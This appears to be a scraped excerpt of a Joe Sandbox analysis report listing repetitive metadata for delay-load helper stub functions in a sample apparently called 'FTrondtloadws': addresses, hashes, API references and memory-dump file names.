Opcode ID: 17e74153eb13b5cb7d490a51d9c80bfc144612a78ae802feaea6c9085924e63a
Instruction ID: de0bc11132ecb80d7d59350fa5a21a23f496bcd150059c41a2c2cd8997f0a2be
Opcode Fuzzy Hash: 17e74153eb13b5cb7d490a51d9c80bfc144612a78ae802feaea6c9085924e63a
Instruction Fuzzy Hash: 7AA011A32AC002FC30082202EC02C3E022CE0C2BA0330883FF223C02E0AA800803B032

Uniqueness

Uniqueness Score: -1.00%

Function 00CDF2B1 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDF1BD

Part of subcall function 00CDF837: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDF8AA
Part of subcall function 00CDF837: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDF8BB

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 30518fcea137f930ce0ed7447757d460120719c4f5e39b12ae034525391748c4
Instruction ID: de0bc11132ecb80d7d59350fa5a21a23f496bcd150059c41a2c2cd8997f0a2be
Opcode Fuzzy Hash: 30518fcea137f930ce0ed7447757d460120719c4f5e39b12ae034525391748c4
Instruction Fuzzy Hash: 7AA011A32AC002FC30082202EC02C3E022CE0C2BA0330883FF223C02E0AA800803B032

Uniqueness

Uniqueness Score: -1.00%

Function 00CDF257 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDF1BD

Part of subcall function 00CDF837: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDF8AA
Part of subcall function 00CDF837: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDF8BB

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 06e2aaf9001baa34bf972b38b47e279ca788632fc555d994457afbc9eec35c60
Instruction ID: de0bc11132ecb80d7d59350fa5a21a23f496bcd150059c41a2c2cd8997f0a2be
Opcode Fuzzy Hash: 06e2aaf9001baa34bf972b38b47e279ca788632fc555d994457afbc9eec35c60
Instruction Fuzzy Hash: 7AA011A32AC002FC30082202EC02C3E022CE0C2BA0330883FF223C02E0AA800803B032

Uniqueness

Uniqueness Score: -1.00%

Function 00CDF26B Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDF1BD

Part of subcall function 00CDF837: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDF8AA
Part of subcall function 00CDF837: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDF8BB

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 0b7d37e1b631d654cb4b6f54b4d0188c3e7bca92615c20b658c7363039268c3b
Instruction ID: de0bc11132ecb80d7d59350fa5a21a23f496bcd150059c41a2c2cd8997f0a2be
Opcode Fuzzy Hash: 0b7d37e1b631d654cb4b6f54b4d0188c3e7bca92615c20b658c7363039268c3b
Instruction Fuzzy Hash: 7AA011A32AC002FC30082202EC02C3E022CE0C2BA0330883FF223C02E0AA800803B032

Uniqueness

Uniqueness Score: -1.00%

Function 00CDF27F Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDF1BD

Part of subcall function 00CDF837: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDF8AA
Part of subcall function 00CDF837: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDF8BB

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 7472a51a57b5f458028d0608c319073889470fd34ab6bd06e557beff0a4641d8
Instruction ID: de0bc11132ecb80d7d59350fa5a21a23f496bcd150059c41a2c2cd8997f0a2be
Opcode Fuzzy Hash: 7472a51a57b5f458028d0608c319073889470fd34ab6bd06e557beff0a4641d8
Instruction Fuzzy Hash: 7AA011A32AC002FC30082202EC02C3E022CE0C2BA0330883FF223C02E0AA800803B032

Uniqueness

Uniqueness Score: -1.00%

Function 00CDF275 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDF1BD

Part of subcall function 00CDF837: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDF8AA
Part of subcall function 00CDF837: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDF8BB

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: fe372c1a4bb3929fa1bed8bda6e52f6ed64412271659a0db5141cce7a34cff66
Instruction ID: de0bc11132ecb80d7d59350fa5a21a23f496bcd150059c41a2c2cd8997f0a2be
Opcode Fuzzy Hash: fe372c1a4bb3929fa1bed8bda6e52f6ed64412271659a0db5141cce7a34cff66
Instruction Fuzzy Hash: 7AA011A32AC002FC30082202EC02C3E022CE0C2BA0330883FF223C02E0AA800803B032

Uniqueness

Uniqueness Score: -1.00%

Function 00CDF239 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDF1BD

Part of subcall function 00CDF837: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDF8AA
Part of subcall function 00CDF837: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDF8BB

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: c5d759215032c93ead9c3d78b2588ef26cf99a3f13e1b4deeab91764a252fb68
Instruction ID: de0bc11132ecb80d7d59350fa5a21a23f496bcd150059c41a2c2cd8997f0a2be
Opcode Fuzzy Hash: c5d759215032c93ead9c3d78b2588ef26cf99a3f13e1b4deeab91764a252fb68
Instruction Fuzzy Hash: 7AA011A32AC002FC30082202EC02C3E022CE0C2BA0330883FF223C02E0AA800803B032

Uniqueness

Uniqueness Score: -1.00%

Function 00CDF3C9 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDF3D6

Part of subcall function 00CDF837: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDF8AA
Part of subcall function 00CDF837: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDF8BB

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: f5464c6807556c360ef2eba3727f5b5391d2d142e915b0829100a01801c7c42e
Instruction ID: b89b2bb524a6fc1054fb8112301f01651087acd4605865c4055603884279993d
Opcode Fuzzy Hash: f5464c6807556c360ef2eba3727f5b5391d2d142e915b0829100a01801c7c42e
Instruction Fuzzy Hash: 99A011E22E80083C32082202BE02C3E020EE0C0BA0330803FF223C02E0AA808883A032

Uniqueness

Uniqueness Score: -1.00%

Function 00CDF3EE Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDF3D6

Part of subcall function 00CDF837: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDF8AA
Part of subcall function 00CDF837: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDF8BB

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: eef650f0189913cd82f5a54307c74e35e13401b21fbce4be4e87e5c735cc0673
Instruction ID: dc8b7b7babd5d0ebfb4d8ad4d80e658f3fd20e5b373f2bc1d4c49485da542d53
Opcode Fuzzy Hash: eef650f0189913cd82f5a54307c74e35e13401b21fbce4be4e87e5c735cc0673
Instruction Fuzzy Hash: 89A001E66ED146BC32486252BD16C3E125DE4C9BA1331993FF663C52E1AA8098876172

Uniqueness

Uniqueness Score: -1.00%

Function 00CDF3E4 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDF3D6

Part of subcall function 00CDF837: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDF8AA
Part of subcall function 00CDF837: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDF8BB

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 034c86bfd1f9a3b9d7b31a0d08772f15e3218c24590f7fcdced3f12b76e186da
Instruction ID: dc8b7b7babd5d0ebfb4d8ad4d80e658f3fd20e5b373f2bc1d4c49485da542d53
Opcode Fuzzy Hash: 034c86bfd1f9a3b9d7b31a0d08772f15e3218c24590f7fcdced3f12b76e186da
Instruction Fuzzy Hash: 89A001E66ED146BC32486252BD16C3E125DE4C9BA1331993FF663C52E1AA8098876172

Uniqueness

Uniqueness Score: -1.00%

Function 00CDF40C Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDF3D6

Part of subcall function 00CDF837: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDF8AA
Part of subcall function 00CDF837: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDF8BB

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 098967e0fd736f5f0d0f48994f194894ad386721e27f86819b0ee21e35dbd5dd
Instruction ID: dc8b7b7babd5d0ebfb4d8ad4d80e658f3fd20e5b373f2bc1d4c49485da542d53
Opcode Fuzzy Hash: 098967e0fd736f5f0d0f48994f194894ad386721e27f86819b0ee21e35dbd5dd
Instruction Fuzzy Hash: 89A001E66ED146BC32486252BD16C3E125DE4C9BA1331993FF663C52E1AA8098876172

Uniqueness

Uniqueness Score: -1.00%

Function 00CDF416 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDF3D6

Part of subcall function 00CDF837: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDF8AA
Part of subcall function 00CDF837: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDF8BB

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 97fbf473c88edad7e9855e75f85083cd149812aaffc94ca6f4b73a2f48b977aa
Instruction ID: dc8b7b7babd5d0ebfb4d8ad4d80e658f3fd20e5b373f2bc1d4c49485da542d53
Opcode Fuzzy Hash: 97fbf473c88edad7e9855e75f85083cd149812aaffc94ca6f4b73a2f48b977aa
Instruction Fuzzy Hash: 89A001E66ED146BC32486252BD16C3E125DE4C9BA1331993FF663C52E1AA8098876172

Uniqueness

Uniqueness Score: -1.00%

Function 00CDF420 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDF3D6

Part of subcall function 00CDF837: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDF8AA
Part of subcall function 00CDF837: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDF8BB

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 042bc2a4ec149bee587e77504b0236c127645518b4e60c54210dbbd1ebced53d
Instruction ID: dc8b7b7babd5d0ebfb4d8ad4d80e658f3fd20e5b373f2bc1d4c49485da542d53
Opcode Fuzzy Hash: 042bc2a4ec149bee587e77504b0236c127645518b4e60c54210dbbd1ebced53d
Instruction Fuzzy Hash: 89A001E66ED146BC32486252BD16C3E125DE4C9BA1331993FF663C52E1AA8098876172

Uniqueness

Uniqueness Score: -1.00%

Function 00CDF54D Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDF55A

Part of subcall function 00CDF837: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDF8AA
Part of subcall function 00CDF837: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDF8BB

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: a0c94b9e8100190b90e8464f24f4f680d4f890948c24d552657b63f5a224c0d6
Instruction ID: 29f44efa6dff612e4161da0cf2849e6a6f7a407f1ce4286924f222b850fddbc8
Opcode Fuzzy Hash: a0c94b9e8100190b90e8464f24f4f680d4f890948c24d552657b63f5a224c0d6
Instruction Fuzzy Hash: D9A011A22A82003C30082A82BC02C3E230CE0C0B20330883FFB23C02C0AA800E832033

Uniqueness

Uniqueness Score: -1.00%

Function 00CDF543 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDF4F9

Part of subcall function 00CDF837: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDF8AA
Part of subcall function 00CDF837: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDF8BB

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: bdc572b739fb274f2faae81518d0863cdbb8d1631544381fc7efa82ff2d53414
Instruction ID: 3374160b63f55b26b0fde5eac0ac0480e3ca91dc8490037c8760cb14f61e8e9e
Opcode Fuzzy Hash: bdc572b739fb274f2faae81518d0863cdbb8d1631544381fc7efa82ff2d53414
Instruction Fuzzy Hash: 2BA011A22AC002BC30082202AC02C3F02ACE8C8BA0330883FF223C02C0AA8008032032

Uniqueness

Uniqueness Score: -1.00%

Function 00CDF568 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDF55A

Part of subcall function 00CDF837: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDF8AA
Part of subcall function 00CDF837: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDF8BB

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 091e1b434ce7b59106e226dca89dac8c06a6bc0148801dd94137d6c400fa8ce7
Instruction ID: 790f0a60f0c9cbff6cbc7ef45eb88f205c0190154f3c2bb4eb01ce1414421b22
Opcode Fuzzy Hash: 091e1b434ce7b59106e226dca89dac8c06a6bc0148801dd94137d6c400fa8ce7
Instruction Fuzzy Hash: 5FA001A66AD246BC31496A96BD46C3E225DE4C5BA1330893FFA23C42D1AA8059876173

Uniqueness

Uniqueness Score: -1.00%

Function 00CDF57C Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDF55A

Part of subcall function 00CDF837: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDF8AA
Part of subcall function 00CDF837: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDF8BB

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 9fdd0304d4f0f1058d207661f62842ea75bcc72100f54f35d0c4889249ba86cd
Instruction ID: 790f0a60f0c9cbff6cbc7ef45eb88f205c0190154f3c2bb4eb01ce1414421b22
Opcode Fuzzy Hash: 9fdd0304d4f0f1058d207661f62842ea75bcc72100f54f35d0c4889249ba86cd
Instruction Fuzzy Hash: 5FA001A66AD246BC31496A96BD46C3E225DE4C5BA1330893FFA23C42D1AA8059876173

Uniqueness

Uniqueness Score: -1.00%

